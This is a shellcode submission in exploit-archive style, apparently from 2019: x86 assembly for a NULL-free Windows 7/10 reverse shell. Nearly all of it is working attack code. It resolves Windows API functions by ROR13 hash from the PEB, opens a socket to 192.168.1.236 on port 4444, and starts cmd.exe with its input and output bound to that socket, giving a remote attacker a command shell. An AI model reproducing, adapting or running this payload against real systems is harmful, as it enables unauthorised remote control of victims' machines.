; Exploit Title: Windows x86 - hashed reverse shell Win7/10 (222 bytes)
; Date: 2019-11-30
; Author: bolonobolo
; Vendor Homepage: None
; Software Link: None
; Tested on: Windows x86
; Comments: reverse shell
; CVE: N/A
global _start
section .text
_start:
; this avoid the NULL bytes producted by calling functions directly
mov ebp, findSymbolByHash
mov edi, hashString
getKernel32Base:
xor ecx, ecx ; zeroing register ECX
mul ecx ; zeroing register EAX EDX
mov eax, [fs:ecx + 0x030] ; PEB loaded in eax
mov eax, [eax + 0x00c] ; LDR loaded in eax
mov esi, [eax + 0x014] ; InMemoryOrderModuleList loaded in esi
lodsd ; program.exe address loaded in eax (1st module)
xchg esi, eax
lodsd ; ntdll.dll address loaded (2nd module)
mov ebx, [eax + 0x10] ; kernel32.dll address loaded in ebx (3rd module)
mov eax, ebx
; EAX 76140000 kernel32.76140000
; ECX 00000000
; EDX 00000000
; EBX 76140000 kernel32.76140000
; ESP 0022FF8C
; EBP 0022FF94
; ESI 0054190C
; EDI 00000000
; EIP 00401005 reverse_.00401005
push 0xec0e4e8e ; LoadLibraryA hash
push eax
call ebp ; call findSymbolByHash
; EAX 76192864 kernel32.LoadLibraryA
; ECX 00000000
; EDX 00000000
; EBX 76140000 kernel32.76140000
; ESP 0022FF8C
; EBP 0022FF94
; ESI 0054190C
; EDI 00000000
; EIP 00401010 reverse_.00401010
getws2_32:
push 0x61613233 ; 23
sub word [esp + 0x2], 0x6161 ; sub aa from aa23_2sw
push 0x5f327377 ; _2sw
push esp ; pointer to the string
call eax ; call Loadlibrary and find ws2_32.dll
mov edx, eax ; save winsock handle for future puproses
; EAX 75FE0000 OFFSET ws2_32.#332
; ECX 77BE316F ntdll.77BE316F
; EDX 75FE0000 OFFSET ws2_32.#332
; EBX 760C0000 kernel32.760C0000
; ESP 0022FF84 ASCII "ws2_32"
; EBP 004010F7 reverse_.004010F7
; ESI 0054190C
; EDI 00401140 reverse_.00401140
; EIP 00401040 reverse_.00401040
getWSAStartup:
push 0x3bfcedcb ; WSAStartup hash
push edx ; push ws2_32.dll handler
call ebp ; find WSAStartup in ws2_32.dll handler
add sp, 8
push eax
lea esi, [esp]
mov [esi+0x4], eax
getWSASocketA:
push 0xadf509d9 ; WSASocketA hash
push edx ; push ws2_32.dll handler
call ebp ; find WSASocketA in ws2_32.dll handler
add sp, 8
mov [esi+0x8], eax
getConnect:
push 0x60aaf9ec ; connect hash
push edx ; push ws2_32.dll handler
call ebp ; find connect in ws2_32.dll handler
add sp, 8
mov [esi+0xc], eax
getCreateProcessA:
push 0x16b3fe72 ; CreateProcessA hash
push ebx ; push kernel32.dll handler
call ebp ; find CreateProcessA in kernel32.dll handler
add sp, 8
mov [esi+0x10], eax
getExitProcess:
push 0x73e2d87e ; ExitProcess hash
push ebx ; kernel32 dll location
call ebp
add sp, 8
mov [esi+0x14], eax
callWSAStartUp:
xor edx, edx
mov dx, 0x190 ; EAX = sizeof( struct WSAData )
sub esp, edx ; alloc some space for the WSAData structure
push esp ; push a pointer to this stuct
push edx ; push the wVersionRequested parameter
call dword [esi+0x4] ; call WSAStartup(MAKEWORD(2, 2), wsadata_pointer)
callWSASocketA:
xor edx, edx ; clear edx
push edx; ; dwFlags=NULL
push edx; ; g=NULL
push edx; ; lpProtocolInfo=NULL
mov dl, 0x6 ; protocol=6
push edx
sub dl, 0x5 ; edx==1
push edx ; type=1
inc edx ; af=2
push edx
call dword [esi+0x8] ; call WSASocketA
push eax ; save eax in edi
pop edi ;
callConnect:
;set up sockaddr_in
mov edx, 0x02010180 ;the IP plus 0x11111111 so we avoid NULLs (IP=192.168.1.236)
sub edx, 0x01010101 ;subtract from edx to obtain the real IP
push edx ;push sin_addr
push word 0x5c11 ;0x115c = (port 4444)
xor edx, edx
mov dl, 2
push dx
mov edx, esp
push byte 0x10
push edx
push edi
call dword [esi+0xc]
shell:
push 0x61646d63 ; push admc
sub word [esp + 0x3], 0x61 ; sub a to admc = dmc
mov ebp, esp ; save a pointer to the command line
push edi ; our socket becomes the shells hStdError
push edi ; our socket becomes the shells hStdOutput
push edi ; our socket becomes the shells hStdInput
xor edi, edi ; Clear edi for all the NULL's we need to push
push byte 0x12 ; We want to place (18 * 4) = 72 null bytes onto the stack
pop ecx ; Set ECX for the loop
push_loop:
push edi ; push a null dword
loop push_loop ; keep looping untill we have pushed enough nulls
mov word [esp + 0x3C], 0x0101 ; Set the STARTUPINFO Structure's dwFlags to STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW
mov byte [esp + 0x10], 0x44
lea ecx, [esp + 0x10] ; Set EAX as a pointer to our STARTUPINFO Structure
;perform the call to CreateProcessA
push esp ; Push the pointer to the PROCESS_INFORMATION Structure
push ecx ; Push the pointer to the STARTUPINFO Structure
push edi ; The lpCurrentDirectory is NULL so the new process will have the same current directory as its parent
push edi ; The lpEnvironment is NULL so the new process will have the same enviroment as its parent
push edi ; We dont specify any dwCreationFlags
inc edi ; Increment edi to be one
push edi ; Set bInheritHandles to TRUE in order to inheritable all possible handle from the parent
dec edi ; Decrement edi back down to zero
push edi ; Set lpThreadAttributes to NULL
push edi ; Set lpProcessAttributes to NULL
push ebp ; Set the lpCommandLine to point to "cmd",0
push edi ; Set lpApplicationName to NULL as we are using the command line param instead
call dword [esi+0x10]
callExitProcess:
xor edx, edx
push edx ; uExitCode
call dword [esi+0x14] ; call ExitProcess(0)
;----------------------------------------------------------;
; Functions called ;
;----------------------------------------------------------;
findSymbolByHash:
pushad
mov ebp, [esp + 0x24] ; load 1st arg: dllBase
mov eax, [ebp + 0x3c] ; get offset to PE signature
; load edx w/ DataDirectories array: assumes PE32
mov edx, [ebp + eax + 4+20+96]
add edx, ebp ; edx:= addr IMAGE_EXPORT_DIRECTORY
mov ecx, [edx + 0x18] ; ecx:= NumberOfNames
mov ebx, [edx + 0x20] ; ebx:= RVA of AddressOfNames
add ebx, ebp ; rva->va
search_loop:
dec ecx ; dec loop counter
; esi:= next name, uses ecx*4 because each pointer is 4 bytes
mov esi, [ebx+ecx*4]
add esi, ebp ; rva->va
push esi
call edi ; hash the current string
add sp, 4
; check hash result against arg #2 on stack: symHash
cmp eax, [esp + 0x28]
jnz search_loop
; at this point we found the string in AddressOfNames
mov ebx, [edx+0x24] ; ebx:= ordinal table rva
add ebx, ebp ; rva->va
; turn cx into ordinal from name index.
; use ecx*2: each value is 2 bytes
mov cx, [ebx+ecx*2]
mov ebx, [edx+0x1c] ; ebx:= RVA of AddressOfFunctions
add ebx, ebp ; rva->va
; eax:= Export function rva. Use ecx*4: each value is 4 bytes
mov eax, [ebx+ecx*4]
add eax, ebp ; rva->va
done:
mov [esp + 0x1c], eax ; overwrite eax saved on stack
popad
ret
hashString:
push esi
push edi
mov esi, dword [esp+0x0c] ; load function argument in esi
calc_hash:
xor edi, edi
cld
hash_iter:
xor eax, eax
lodsb ; load next byte of input string
cmp al, ah
je hash_done ; check if at end of symbol
ror edi, 0x0d ; rotate right 13 (0x0d)
add edi, eax
jmp hash_iter
hash_done:
mov eax, edi
pop edi
pop esi
ret